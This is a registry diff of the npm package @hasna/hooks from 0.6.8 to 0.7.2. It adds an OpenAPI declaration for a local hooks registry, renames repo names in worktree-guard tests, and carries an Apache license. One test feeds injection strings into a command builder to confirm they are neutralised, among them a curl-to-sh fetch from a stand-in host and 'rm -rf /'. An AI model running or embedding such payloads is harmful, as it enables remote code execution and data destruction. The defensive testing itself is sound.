@hasna/hooks 0.6.8 → 0.7.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/bin/index.js +579 -113
- package/bin/serve.js +503 -38
- package/dist/config.d.ts +7 -5
- package/dist/db/pg-migrations.d.ts +1 -1
- package/dist/index.js +533 -71
- package/dist/openapi.d.ts +216 -0
- package/hooks/codewith-native-common.test.ts +25 -25
- package/hooks/codewith-native-common.ts +1 -1
- package/hooks/hook-autoformat/package.json +1 -1
- package/hooks/hook-desktopnotify/package.json +1 -1
- package/hooks/hook-envsetup/package.json +1 -1
- package/hooks/hook-knowledge-context/README.md +1 -1
- package/hooks/hook-knowledge-context/src/hook.test.ts +1 -1
- package/hooks/hook-permissionguard/package.json +1 -1
- package/hooks/hook-protectfiles/package.json +1 -1
- package/hooks/hook-spiral-detector/LICENSE +191 -0
- package/hooks/hook-spiral-detector/README.md +23 -0
- package/hooks/hook-spiral-detector/package.json +12 -0
- package/hooks/hook-spiral-detector/src/hook.test.ts +72 -0
- package/hooks/hook-spiral-detector/src/hook.ts +93 -0
- package/hooks/hook-workspace-repos-guard/README.md +4 -3
- package/hooks/hook-workspace-repos-guard/src/hook.test.ts +7 -7
- package/hooks/hook-workspace-repos-guard/src/hook.ts +5 -3
- package/hooks/mention-context/src/hasna-mention-context.py +2 -2
- package/hooks/mention-context/src/hasna-mention-warm.py +1 -1
- package/hooks/pre-bash/README.md +1 -1
- package/hooks/prompt-guard/README.md +1 -1
- package/hooks/session-start/README.md +1 -1
- package/hooks/stop-sync/README.md +1 -1
- package/hooks/worktree-guard/README.md +1 -1
- package/package.json +10 -6
|
@@ -0,0 +1,216 @@
|
|
|
1
|
+
export declare const openApiDocument: {
|
|
2
|
+
readonly openapi: "3.1.0";
|
|
3
|
+
readonly info: {
|
|
4
|
+
readonly title: "Hooks Registry API";
|
|
5
|
+
readonly version: "0.1.0";
|
|
6
|
+
readonly description: "Local registry HTTP API for @hasna/hooks: catalog, lock, and artifact reads are open; publishing (PUT /api/v1/hooks) requires the API key (authorization: Bearer or x-api-key).";
|
|
7
|
+
};
|
|
8
|
+
readonly servers: readonly [{
|
|
9
|
+
readonly url: "/";
|
|
10
|
+
}];
|
|
11
|
+
readonly paths: {
|
|
12
|
+
readonly "/health": {
|
|
13
|
+
readonly get: {
|
|
14
|
+
readonly summary: "Liveness probe";
|
|
15
|
+
readonly operationId: "getHealth";
|
|
16
|
+
readonly responses: {
|
|
17
|
+
readonly "200": {
|
|
18
|
+
readonly description: "Service is alive";
|
|
19
|
+
readonly content: {
|
|
20
|
+
readonly "application/json": {
|
|
21
|
+
readonly schema: {
|
|
22
|
+
readonly type: "object";
|
|
23
|
+
readonly additionalProperties: true;
|
|
24
|
+
};
|
|
25
|
+
};
|
|
26
|
+
};
|
|
27
|
+
};
|
|
28
|
+
};
|
|
29
|
+
};
|
|
30
|
+
};
|
|
31
|
+
readonly "/ready": {
|
|
32
|
+
readonly get: {
|
|
33
|
+
readonly summary: "Readiness probe — the hooks.lock store is readable";
|
|
34
|
+
readonly operationId: "getReady";
|
|
35
|
+
readonly responses: {
|
|
36
|
+
readonly "200": {
|
|
37
|
+
readonly description: "Lock store is readable";
|
|
38
|
+
};
|
|
39
|
+
readonly "503": {
|
|
40
|
+
readonly description: "Lock store is not readable";
|
|
41
|
+
};
|
|
42
|
+
};
|
|
43
|
+
};
|
|
44
|
+
};
|
|
45
|
+
readonly "/version": {
|
|
46
|
+
readonly get: {
|
|
47
|
+
readonly summary: "Package version";
|
|
48
|
+
readonly operationId: "getVersion";
|
|
49
|
+
readonly responses: {
|
|
50
|
+
readonly "200": {
|
|
51
|
+
readonly description: "The installed @hasna/hooks version";
|
|
52
|
+
readonly content: {
|
|
53
|
+
readonly "application/json": {
|
|
54
|
+
readonly schema: {
|
|
55
|
+
readonly type: "object";
|
|
56
|
+
readonly properties: {
|
|
57
|
+
readonly version: {
|
|
58
|
+
readonly type: "string";
|
|
59
|
+
};
|
|
60
|
+
};
|
|
61
|
+
};
|
|
62
|
+
};
|
|
63
|
+
};
|
|
64
|
+
};
|
|
65
|
+
};
|
|
66
|
+
};
|
|
67
|
+
};
|
|
68
|
+
readonly "/openapi.json": {
|
|
69
|
+
readonly get: {
|
|
70
|
+
readonly summary: "This OpenAPI document";
|
|
71
|
+
readonly operationId: "getOpenApi";
|
|
72
|
+
readonly responses: {
|
|
73
|
+
readonly "200": {
|
|
74
|
+
readonly description: "OpenAPI 3.1 document";
|
|
75
|
+
};
|
|
76
|
+
};
|
|
77
|
+
};
|
|
78
|
+
};
|
|
79
|
+
readonly "/api/v1/catalog": {
|
|
80
|
+
readonly get: {
|
|
81
|
+
readonly summary: "List the full hook catalog with versions and sha256";
|
|
82
|
+
readonly operationId: "getCatalog";
|
|
83
|
+
readonly responses: {
|
|
84
|
+
readonly "200": {
|
|
85
|
+
readonly description: "Catalog entries";
|
|
86
|
+
readonly content: {
|
|
87
|
+
readonly "application/json": {
|
|
88
|
+
readonly schema: {
|
|
89
|
+
readonly type: "object";
|
|
90
|
+
readonly properties: {
|
|
91
|
+
readonly hooks: {
|
|
92
|
+
readonly type: "array";
|
|
93
|
+
readonly items: {
|
|
94
|
+
readonly type: "object";
|
|
95
|
+
readonly properties: {
|
|
96
|
+
readonly name: {
|
|
97
|
+
readonly type: "string";
|
|
98
|
+
};
|
|
99
|
+
readonly version: {
|
|
100
|
+
readonly type: "string";
|
|
101
|
+
};
|
|
102
|
+
readonly sha256: {
|
|
103
|
+
readonly type: "string";
|
|
104
|
+
};
|
|
105
|
+
readonly events: {
|
|
106
|
+
readonly type: "array";
|
|
107
|
+
readonly items: {
|
|
108
|
+
readonly type: "string";
|
|
109
|
+
};
|
|
110
|
+
};
|
|
111
|
+
};
|
|
112
|
+
};
|
|
113
|
+
};
|
|
114
|
+
};
|
|
115
|
+
};
|
|
116
|
+
};
|
|
117
|
+
};
|
|
118
|
+
};
|
|
119
|
+
};
|
|
120
|
+
};
|
|
121
|
+
};
|
|
122
|
+
readonly "/api/v1/lock": {
|
|
123
|
+
readonly get: {
|
|
124
|
+
readonly summary: "Read the published hooks.lock with per-hook versions";
|
|
125
|
+
readonly operationId: "getLock";
|
|
126
|
+
readonly responses: {
|
|
127
|
+
readonly "200": {
|
|
128
|
+
readonly description: "The lock file";
|
|
129
|
+
};
|
|
130
|
+
};
|
|
131
|
+
};
|
|
132
|
+
};
|
|
133
|
+
readonly "/api/v1/hooks/{name}/{version}": {
|
|
134
|
+
readonly get: {
|
|
135
|
+
readonly summary: "Fetch one hook's manifest and script";
|
|
136
|
+
readonly operationId: "getHookArtifact";
|
|
137
|
+
readonly parameters: readonly [{
|
|
138
|
+
readonly name: "name";
|
|
139
|
+
readonly in: "path";
|
|
140
|
+
readonly required: true;
|
|
141
|
+
readonly schema: {
|
|
142
|
+
readonly type: "string";
|
|
143
|
+
};
|
|
144
|
+
}, {
|
|
145
|
+
readonly name: "version";
|
|
146
|
+
readonly in: "path";
|
|
147
|
+
readonly required: true;
|
|
148
|
+
readonly schema: {
|
|
149
|
+
readonly type: "string";
|
|
150
|
+
};
|
|
151
|
+
}];
|
|
152
|
+
readonly responses: {
|
|
153
|
+
readonly "200": {
|
|
154
|
+
readonly description: "Hook artifact; x-hook-sha256 header carries the script hash";
|
|
155
|
+
};
|
|
156
|
+
readonly "400": {
|
|
157
|
+
readonly description: "Invalid URL encoding or semver version";
|
|
158
|
+
};
|
|
159
|
+
readonly "404": {
|
|
160
|
+
readonly description: "Hook not found locally";
|
|
161
|
+
};
|
|
162
|
+
};
|
|
163
|
+
};
|
|
164
|
+
};
|
|
165
|
+
readonly "/api/v1/hooks": {
|
|
166
|
+
readonly put: {
|
|
167
|
+
readonly summary: "Publish/retrust a hook (requires the API key)";
|
|
168
|
+
readonly operationId: "putHook";
|
|
169
|
+
readonly requestBody: {
|
|
170
|
+
readonly required: true;
|
|
171
|
+
readonly content: {
|
|
172
|
+
readonly "application/json": {
|
|
173
|
+
readonly schema: {
|
|
174
|
+
readonly type: "object";
|
|
175
|
+
readonly properties: {
|
|
176
|
+
readonly name: {
|
|
177
|
+
readonly type: "string";
|
|
178
|
+
};
|
|
179
|
+
readonly version: {
|
|
180
|
+
readonly type: "string";
|
|
181
|
+
};
|
|
182
|
+
};
|
|
183
|
+
};
|
|
184
|
+
};
|
|
185
|
+
};
|
|
186
|
+
};
|
|
187
|
+
readonly responses: {
|
|
188
|
+
readonly "200": {
|
|
189
|
+
readonly description: "Hook retrusted and pin updated";
|
|
190
|
+
};
|
|
191
|
+
readonly "401": {
|
|
192
|
+
readonly description: "Missing or invalid API key";
|
|
193
|
+
};
|
|
194
|
+
readonly "404": {
|
|
195
|
+
readonly description: "Hook not found in local store";
|
|
196
|
+
};
|
|
197
|
+
readonly "409": {
|
|
198
|
+
readonly description: "Version mismatch with the local store";
|
|
199
|
+
};
|
|
200
|
+
};
|
|
201
|
+
readonly security: readonly [{
|
|
202
|
+
readonly apiKey: readonly [];
|
|
203
|
+
}];
|
|
204
|
+
};
|
|
205
|
+
};
|
|
206
|
+
};
|
|
207
|
+
readonly components: {
|
|
208
|
+
readonly securitySchemes: {
|
|
209
|
+
readonly apiKey: {
|
|
210
|
+
readonly type: "http";
|
|
211
|
+
readonly scheme: "bearer";
|
|
212
|
+
readonly description: "The registry API key (HASNA_HOOKS_API_KEY / HOOKS_API_KEY).";
|
|
213
|
+
};
|
|
214
|
+
};
|
|
215
|
+
};
|
|
216
|
+
};
|
|
@@ -85,11 +85,11 @@ describe("codewith native common helpers", () => {
|
|
|
85
85
|
};
|
|
86
86
|
|
|
87
87
|
test("accepts the canonical <repo-name>/<worktree-name> worktree root", () => {
|
|
88
|
-
const worktreeRoot = makeWorktree("
|
|
88
|
+
const worktreeRoot = makeWorktree("hooks", "OPE61-00004-worktree-guard");
|
|
89
89
|
const info = managedWorktreeInfo(worktreeRoot);
|
|
90
90
|
expect(info.managed).toBe(true);
|
|
91
91
|
expect(info.layout).toBe("canonical");
|
|
92
|
-
expect(info.repo).toBe("
|
|
92
|
+
expect(info.repo).toBe("hooks");
|
|
93
93
|
expect(info.worktree).toBe("OPE61-00004-worktree-guard");
|
|
94
94
|
expect(info.worktreeRoot).toBe(worktreeRoot);
|
|
95
95
|
expect(info.deprecated).toBeUndefined();
|
|
@@ -97,7 +97,7 @@ describe("codewith native common helpers", () => {
|
|
|
97
97
|
|
|
98
98
|
test("accepts a canonical path whose checkout is a standalone repo", () => {
|
|
99
99
|
// Rule 8 governs where the checkout lives, not whether it is a linked worktree.
|
|
100
|
-
expect(managedWorktreeInfo(makeWorktree("
|
|
100
|
+
expect(managedWorktreeInfo(makeWorktree("hooks", "standalone", "standalone")).managed).toBe(true);
|
|
101
101
|
});
|
|
102
102
|
|
|
103
103
|
test("rejects a forged .git file that grafts the path onto a shared checkout", () => {
|
|
@@ -143,7 +143,7 @@ describe("codewith native common helpers", () => {
|
|
|
143
143
|
|
|
144
144
|
test("rejects a worktree whose repository no longer registers it", () => {
|
|
145
145
|
// Real fleet state: the parent repo was pruned, so git itself refuses to work here.
|
|
146
|
-
const worktreeRoot = makeWorktree("
|
|
146
|
+
const worktreeRoot = makeWorktree("hooks", "orphaned");
|
|
147
147
|
rmSync(join(tmp, "..", "unused"), { recursive: true, force: true });
|
|
148
148
|
writeFileSync(join(worktreeRoot, ".git"), "gitdir: /nonexistent/.git/worktrees/orphaned\n");
|
|
149
149
|
|
|
@@ -151,7 +151,7 @@ describe("codewith native common helpers", () => {
|
|
|
151
151
|
});
|
|
152
152
|
|
|
153
153
|
test("accepts subdirectories of a canonical worktree", () => {
|
|
154
|
-
const worktreeRoot = makeWorktree("
|
|
154
|
+
const worktreeRoot = makeWorktree("hooks", "OPE61-00004-worktree-guard");
|
|
155
155
|
mkdirSync(join(worktreeRoot, "hooks", "worktree-guard", "src"), { recursive: true });
|
|
156
156
|
|
|
157
157
|
for (const nested of [
|
|
@@ -168,7 +168,7 @@ describe("codewith native common helpers", () => {
|
|
|
168
168
|
test("rejects a subdirectory of a flat worktree, which has the canonical shape", () => {
|
|
169
169
|
// The whole point of the flat prohibition: `<root>/<flat-wt>/<subdir>` is
|
|
170
170
|
// shape-identical to `<root>/<repo>/<worktree>`, so a `cd` must not launder it.
|
|
171
|
-
const flat = join(root, "
|
|
171
|
+
const flat = join(root, "hooks-flat-worktree");
|
|
172
172
|
mkdirSync(join(flat, "src"), { recursive: true });
|
|
173
173
|
git(makeSourceRepo(), "worktree", "add", "-q", "--detach", join(flat, "checkout"));
|
|
174
174
|
|
|
@@ -188,17 +188,17 @@ describe("codewith native common helpers", () => {
|
|
|
188
188
|
const shared = join(tmp, "shared-checkout");
|
|
189
189
|
mkdirSync(shared, { recursive: true });
|
|
190
190
|
writeFileSync(join(shared, ".git"), "gitdir: /elsewhere\n");
|
|
191
|
-
mkdirSync(join(root, "
|
|
192
|
-
symlinkSync(shared, join(root, "
|
|
191
|
+
mkdirSync(join(root, "hooks"), { recursive: true });
|
|
192
|
+
symlinkSync(shared, join(root, "hooks", "linked"));
|
|
193
193
|
symlinkSync(join(tmp, "shared-checkout"), join(root, "linked-repo"));
|
|
194
194
|
mkdirSync(join(tmp, "shared-checkout", "wt"), { recursive: true });
|
|
195
195
|
|
|
196
|
-
expect(managedWorktreeInfo(join(root, "
|
|
196
|
+
expect(managedWorktreeInfo(join(root, "hooks", "linked")).reason).toContain("traverses a symlink");
|
|
197
197
|
expect(managedWorktreeInfo(join(root, "linked-repo", "wt")).reason).toContain("traverses a symlink");
|
|
198
198
|
});
|
|
199
199
|
|
|
200
200
|
test("rejects a flat single-segment worktree under the worktrees root", () => {
|
|
201
|
-
const info = managedWorktreeInfo(join(root, "
|
|
201
|
+
const info = managedWorktreeInfo(join(root, "hooks-flat-worktree"));
|
|
202
202
|
expect(info.managed).toBe(false);
|
|
203
203
|
expect(info.layout).toBeUndefined();
|
|
204
204
|
expect(info.reason).toContain("flat under the worktrees root");
|
|
@@ -212,19 +212,19 @@ describe("codewith native common helpers", () => {
|
|
|
212
212
|
});
|
|
213
213
|
|
|
214
214
|
test("rejects paths outside the worktrees root", () => {
|
|
215
|
-
const info = managedWorktreeInfo(join(tmp, "elsewhere", "
|
|
215
|
+
const info = managedWorktreeInfo(join(tmp, "elsewhere", "hooks"));
|
|
216
216
|
expect(info.managed).toBe(false);
|
|
217
217
|
expect(info.reason).toBe("outside worktrees root");
|
|
218
218
|
});
|
|
219
219
|
|
|
220
220
|
test("rejects a station-id segment in front of <repo>/<worktree>", () => {
|
|
221
|
-
const info = managedWorktreeInfo(join(root, "station01", "
|
|
221
|
+
const info = managedWorktreeInfo(join(root, "station01", "hooks", "OPE61-00004-worktree-guard"));
|
|
222
222
|
expect(info.managed).toBe(false);
|
|
223
223
|
expect(info.reason).toContain("station-id/machine segment or extra nesting");
|
|
224
224
|
expect(info.reason).toContain(join(root, "<repo-name>", "<worktree-name>"));
|
|
225
225
|
});
|
|
226
226
|
|
|
227
|
-
const LEASE = ["station01", "
|
|
227
|
+
const LEASE = ["station01", "hooks-a55c105a", "wt_2ab04216a30ef5ece642792e"];
|
|
228
228
|
|
|
229
229
|
/** The historical lease layout, with the checkout at the lease dir or in `repo/`. */
|
|
230
230
|
const makeLeaseWorktree = (nested: boolean): string => {
|
|
@@ -278,7 +278,7 @@ describe("codewith native common helpers", () => {
|
|
|
278
278
|
});
|
|
279
279
|
|
|
280
280
|
test("rejects nesting deeper than the canonical shape", () => {
|
|
281
|
-
const info = managedWorktreeInfo(join(root, "station01", "
|
|
281
|
+
const info = managedWorktreeInfo(join(root, "station01", "hooks", "wt-name", "repo"));
|
|
282
282
|
expect(info.managed).toBe(false);
|
|
283
283
|
expect(info.layout).toBeUndefined();
|
|
284
284
|
expect(info.reason).toContain("station-id/machine segment or extra nesting");
|
|
@@ -286,9 +286,9 @@ describe("codewith native common helpers", () => {
|
|
|
286
286
|
|
|
287
287
|
test("rejects malformed canonical segments", () => {
|
|
288
288
|
expect(managedWorktreeInfo(join(root, "-bad-repo", "worktree")).reason).toContain("repo-name segment is malformed");
|
|
289
|
-
expect(managedWorktreeInfo(join(root, "
|
|
289
|
+
expect(managedWorktreeInfo(join(root, "hooks", "-bad-worktree")).reason).toContain("worktree-name segment is malformed");
|
|
290
290
|
expect(managedWorktreeInfo(join(root, ".hidden", "worktree")).reason).toContain("repo-name segment is malformed");
|
|
291
|
-
expect(managedWorktreeInfo(join(root, "
|
|
291
|
+
expect(managedWorktreeInfo(join(root, "hooks", ".git")).reason).toContain("worktree-name segment is malformed");
|
|
292
292
|
});
|
|
293
293
|
|
|
294
294
|
test("accepts ordinary directory names an allowlist would wrongly reject", () => {
|
|
@@ -297,7 +297,7 @@ describe("codewith native common helpers", () => {
|
|
|
297
297
|
for (const [repo, worktree] of [
|
|
298
298
|
["connectors", "_base"],
|
|
299
299
|
["c++utils", "OPE61-00004"],
|
|
300
|
-
["
|
|
300
|
+
["hooks", "e".repeat(200)],
|
|
301
301
|
["Open-Hooks", "task~1 with spaces"],
|
|
302
302
|
]) {
|
|
303
303
|
expect(managedWorktreeInfo(makeWorktree(repo!, worktree!)).managed, `${repo}/${worktree}`).toBe(true);
|
|
@@ -310,12 +310,12 @@ describe("codewith native common helpers", () => {
|
|
|
310
310
|
process.env.HASNA_REPOS_WORKTREES_ROOT = "/root/worktrees";
|
|
311
311
|
try {
|
|
312
312
|
// The canonical repo name comes from the repos CLI, and is frequently not the
|
|
313
|
-
// git remote basename: `
|
|
314
|
-
expect(claimCommand("
|
|
315
|
-
"git worktree add -b OPE61-00004 /root/worktrees/
|
|
313
|
+
// git remote basename: `hooks` is `github.com/hasna/hooks`.
|
|
314
|
+
expect(claimCommand("hooks", "OPE61-00004", "main")).toBe(
|
|
315
|
+
"git worktree add -b OPE61-00004 /root/worktrees/hooks/OPE61-00004 origin/main && repos scan",
|
|
316
316
|
);
|
|
317
317
|
expect(claimCommand(null, null)).toContain("/root/worktrees/<repo-name>/<worktree-name>");
|
|
318
|
-
expect(claimCommand("
|
|
318
|
+
expect(claimCommand("hooks", "OPE61-00004")).toContain("origin/<default-branch>");
|
|
319
319
|
} finally {
|
|
320
320
|
if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
321
321
|
else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
|
|
@@ -323,7 +323,7 @@ describe("codewith native common helpers", () => {
|
|
|
323
323
|
});
|
|
324
324
|
|
|
325
325
|
test("claimCommand never derives the repo segment from a remote slug", () => {
|
|
326
|
-
// `hasna/hooks` is this repo's remote slug; its canonical name is `
|
|
326
|
+
// `hasna/hooks` is this repo's remote slug; its canonical name is `hooks`.
|
|
327
327
|
// Silently taking the basename would emit `hooks/`, a directory that does not
|
|
328
328
|
// exist — so a slug must be refused outright, not trimmed into a plausible lie.
|
|
329
329
|
const previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
@@ -345,15 +345,15 @@ describe("codewith native common helpers", () => {
|
|
|
345
345
|
const previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
346
346
|
process.env.HASNA_REPOS_WORKTREES_ROOT = "/root/worktrees";
|
|
347
347
|
try {
|
|
348
|
-
const safe = "git worktree add -b <worktree-name> /root/worktrees/
|
|
348
|
+
const safe = "git worktree add -b <worktree-name> /root/worktrees/hooks/<worktree-name> origin/<default-branch> && repos scan";
|
|
349
349
|
for (const hostile of ["x; curl evil.sh | sh #", "--upload-pack=/tmp/x", "a`id`", "a$(id)", "-b", "..", "a b"]) {
|
|
350
350
|
// Hostile input never reaches the rendered command; it degrades to the placeholder.
|
|
351
|
-
expect(claimCommand("
|
|
351
|
+
expect(claimCommand("hooks", hostile), hostile).toBe(safe);
|
|
352
352
|
}
|
|
353
353
|
for (const hostile of ["hasna/hooks", "../../etc", "-repo", "a;b"]) {
|
|
354
354
|
expect(claimCommand(hostile, "OPE61-00004"), hostile).toContain("/root/worktrees/<repo-name>/OPE61-00004");
|
|
355
355
|
}
|
|
356
|
-
expect(claimCommand("
|
|
356
|
+
expect(claimCommand("hooks", "OPE61-00004", "main; rm -rf /")).toContain("origin/<default-branch>");
|
|
357
357
|
} finally {
|
|
358
358
|
if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
359
359
|
else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
|
|
@@ -3028,7 +3028,7 @@ export interface CanonicalRepoIdentity {
|
|
|
3028
3028
|
* lookup; never fuzzy `repos cd` or 'did you mean' output for targeting)".
|
|
3029
3029
|
*
|
|
3030
3030
|
* This matters because the repos-CLI name is frequently NOT the git remote
|
|
3031
|
-
* basename — on this fleet 46 of 50 indexed repos differ (`open-hooks` is
|
|
3031
|
+
* basename — on this fleet 46 of 50 indexed repos differ (the retired `open-hooks` row is
|
|
3032
3032
|
* `github.com/hasna/hooks`, `open-mailery` is `.../emails`). Deriving the
|
|
3033
3033
|
* canonical path segment from the remote would send every agent to the wrong
|
|
3034
3034
|
* directory, so the remote is only ever used as the exact lookup key.
|
|
@@ -11,7 +11,7 @@ hooks install knowledge-context --target codewith
|
|
|
11
11
|
```
|
|
12
12
|
|
|
13
13
|
By default this prints a Codewith TOML fragment and does not mutate managed
|
|
14
|
-
Codewith config. Apply that fragment through `
|
|
14
|
+
Codewith config. Apply that fragment through `configs` or the managed
|
|
15
15
|
config renderer. For explicit local testing only:
|
|
16
16
|
|
|
17
17
|
```bash
|
|
@@ -208,7 +208,7 @@ describe("hook-knowledge-context", () => {
|
|
|
208
208
|
"review staged diff",
|
|
209
209
|
"rerun tests",
|
|
210
210
|
]) {
|
|
211
|
-
expect(promptSignalScore(prompt, "/home/hasna/workspace/hasna/opensource/
|
|
211
|
+
expect(promptSignalScore(prompt, "/home/hasna/workspace/hasna/opensource/hooks")).toBeGreaterThanOrEqual(3);
|
|
212
212
|
}
|
|
213
213
|
});
|
|
214
214
|
|
|
@@ -0,0 +1,191 @@
|
|
|
1
|
+
|
|
2
|
+
Apache License
|
|
3
|
+
Version 2.0, January 2004
|
|
4
|
+
http://www.apache.org/licenses/
|
|
5
|
+
|
|
6
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
7
|
+
|
|
8
|
+
1. Definitions.
|
|
9
|
+
|
|
10
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
11
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
12
|
+
|
|
13
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
14
|
+
the copyright owner that is granting the License.
|
|
15
|
+
|
|
16
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
17
|
+
other entities that control, are controlled by, or are under common
|
|
18
|
+
control with that entity. For the purposes of this definition,
|
|
19
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
20
|
+
direction or management of such entity, whether by contract or
|
|
21
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
22
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
23
|
+
|
|
24
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
25
|
+
exercising permissions granted by this License.
|
|
26
|
+
|
|
27
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
28
|
+
including but not limited to software source code, documentation
|
|
29
|
+
source, and configuration files.
|
|
30
|
+
|
|
31
|
+
"Object" form shall mean any form resulting from mechanical
|
|
32
|
+
transformation or translation of a Source form, including but
|
|
33
|
+
not limited to compiled object code, generated documentation,
|
|
34
|
+
and conversions to other media types.
|
|
35
|
+
|
|
36
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
37
|
+
Object form, made available under the License, as indicated by a
|
|
38
|
+
copyright notice that is included in or attached to the work
|
|
39
|
+
(an example is provided in the Appendix below).
|
|
40
|
+
|
|
41
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
42
|
+
form, that is based on (or derived from) the Work and for which the
|
|
43
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
44
|
+
represent, as a whole, an original work of authorship. For the purposes
|
|
45
|
+
of this License, Derivative Works shall not include works that remain
|
|
46
|
+
separable from, or merely link (or bind by name) to the interfaces of,
|
|
47
|
+
the Work and Derivative Works thereof.
|
|
48
|
+
|
|
49
|
+
"Contribution" shall mean any work of authorship, including
|
|
50
|
+
the original version of the Work and any modifications or additions
|
|
51
|
+
to that Work or Derivative Works thereof, that is intentionally
|
|
52
|
+
submitted to the Licensor for inclusion in the Work by the copyright owner
|
|
53
|
+
or by an individual or Legal Entity authorized to submit on behalf of
|
|
54
|
+
the copyright owner. For the purposes of this definition, "submitted"
|
|
55
|
+
means any form of electronic, verbal, or written communication sent
|
|
56
|
+
to the Licensor or its representatives, including but not limited to
|
|
57
|
+
communication on electronic mailing lists, source code control systems,
|
|
58
|
+
and issue tracking systems that are managed by, or on behalf of, the
|
|
59
|
+
Licensor for the purpose of discussing and improving the Work, but
|
|
60
|
+
excluding communication that is conspicuously marked or otherwise
|
|
61
|
+
designated in writing by the copyright owner as "Not a Contribution."
|
|
62
|
+
|
|
63
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
64
|
+
on behalf of whom a Contribution has been received by the Licensor and
|
|
65
|
+
subsequently incorporated within the Work.
|
|
66
|
+
|
|
67
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
68
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
69
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
70
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
71
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
72
|
+
Work and such Derivative Works in Source or Object form.
|
|
73
|
+
|
|
74
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
75
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
76
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
77
|
+
(except as stated in this section) patent license to make, have made,
|
|
78
|
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
79
|
+
where such license applies only to those patent claims licensable
|
|
80
|
+
by such Contributor that are necessarily infringed by their
|
|
81
|
+
Contribution(s) alone or by combination of their Contribution(s)
|
|
82
|
+
with the Work to which such Contribution(s) was submitted. If You
|
|
83
|
+
institute patent litigation against any entity (including a
|
|
84
|
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
85
|
+
or a Contribution incorporated within the Work constitutes direct
|
|
86
|
+
or contributory patent infringement, then any patent licenses
|
|
87
|
+
granted to You under this License for that Work shall terminate
|
|
88
|
+
as of the date such litigation is filed.
|
|
89
|
+
|
|
90
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
91
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
92
|
+
modifications, and in Source or Object form, provided that You
|
|
93
|
+
meet the following conditions:
|
|
94
|
+
|
|
95
|
+
(a) You must give any other recipients of the Work or
|
|
96
|
+
Derivative Works a copy of this License; and
|
|
97
|
+
|
|
98
|
+
(b) You must cause any modified files to carry prominent notices
|
|
99
|
+
stating that You changed the files; and
|
|
100
|
+
|
|
101
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
102
|
+
that You distribute, all copyright, patent, trademark, and
|
|
103
|
+
attribution notices from the Source form of the Work,
|
|
104
|
+
excluding those notices that do not pertain to any part of
|
|
105
|
+
the Derivative Works; and
|
|
106
|
+
|
|
107
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
108
|
+
distribution, then any Derivative Works that You distribute must
|
|
109
|
+
include a readable copy of the attribution notices contained
|
|
110
|
+
within such NOTICE file, excluding any notices that do not
|
|
111
|
+
pertain to any part of the Derivative Works, in at least one
|
|
112
|
+
of the following places: within a NOTICE text file distributed
|
|
113
|
+
as part of the Derivative Works; within the Source form or
|
|
114
|
+
documentation, if provided along with the Derivative Works; or,
|
|
115
|
+
within a display generated by the Derivative Works, if and
|
|
116
|
+
wherever such third-party notices normally appear. The contents
|
|
117
|
+
of the NOTICE file are for informational purposes only and
|
|
118
|
+
do not modify the License. You may add Your own attribution
|
|
119
|
+
notices within Derivative Works that You distribute, alongside
|
|
120
|
+
or as an addendum to the NOTICE text from the Work, provided
|
|
121
|
+
that such additional attribution notices cannot be construed
|
|
122
|
+
as modifying the License.
|
|
123
|
+
|
|
124
|
+
You may add Your own copyright statement to Your modifications and
|
|
125
|
+
may provide additional or different license terms and conditions
|
|
126
|
+
for use, reproduction, or distribution of Your modifications, or
|
|
127
|
+
for any such Derivative Works as a whole, provided Your use,
|
|
128
|
+
reproduction, and distribution of the Work otherwise complies with
|
|
129
|
+
the conditions stated in this License.
|
|
130
|
+
|
|
131
|
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
132
|
+
any Contribution intentionally submitted for inclusion in the Work
|
|
133
|
+
by You to the Licensor shall be under the terms and conditions of
|
|
134
|
+
this License, without any additional terms or conditions.
|
|
135
|
+
Notwithstanding the above, nothing herein shall supersede or modify
|
|
136
|
+
the terms of any separate license agreement you may have executed
|
|
137
|
+
with Licensor regarding such Contributions.
|
|
138
|
+
|
|
139
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
140
|
+
names, trademarks, service marks, or product names of the Licensor,
|
|
141
|
+
except as required for reasonable and customary use in describing the
|
|
142
|
+
origin of the Work and reproducing the content of the NOTICE file.
|
|
143
|
+
|
|
144
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
145
|
+
agreed to in writing, Licensor provides the Work (and each
|
|
146
|
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
147
|
+
